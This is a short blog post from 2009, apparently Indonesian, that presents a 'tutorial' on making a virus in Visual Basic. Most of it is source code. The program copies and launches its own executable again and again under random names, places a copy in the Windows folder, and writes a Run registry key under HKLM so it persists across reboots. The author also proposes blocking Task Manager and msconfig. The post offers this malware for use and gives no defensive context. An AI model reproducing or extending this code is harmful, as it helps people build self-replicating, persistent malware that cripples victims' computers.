Sabtu, 08 Agustus 2009

Want to know how to make virus use vb script . follow the tutorial below:
only the virus itself repeatedly - back, I opened will copying itself 2 times, continuously, to give himself naming the appropriate number of diacak(random), and register himself to Register computer.user can add code again.so that others more solid, such as block task : manager, msconfig, this seems normal dsb.may be, only I wish for the knowledge-sharing aja, sorry ya .. I can do more .. with this code:

===================================================================================
rivate Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub

Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function

Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub

Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub

======================================================================================
will be continiou..and practice by admin

Tidak ada komentar:

Posting Komentar

Link Wich Make ME feell Better

try from zero to grow up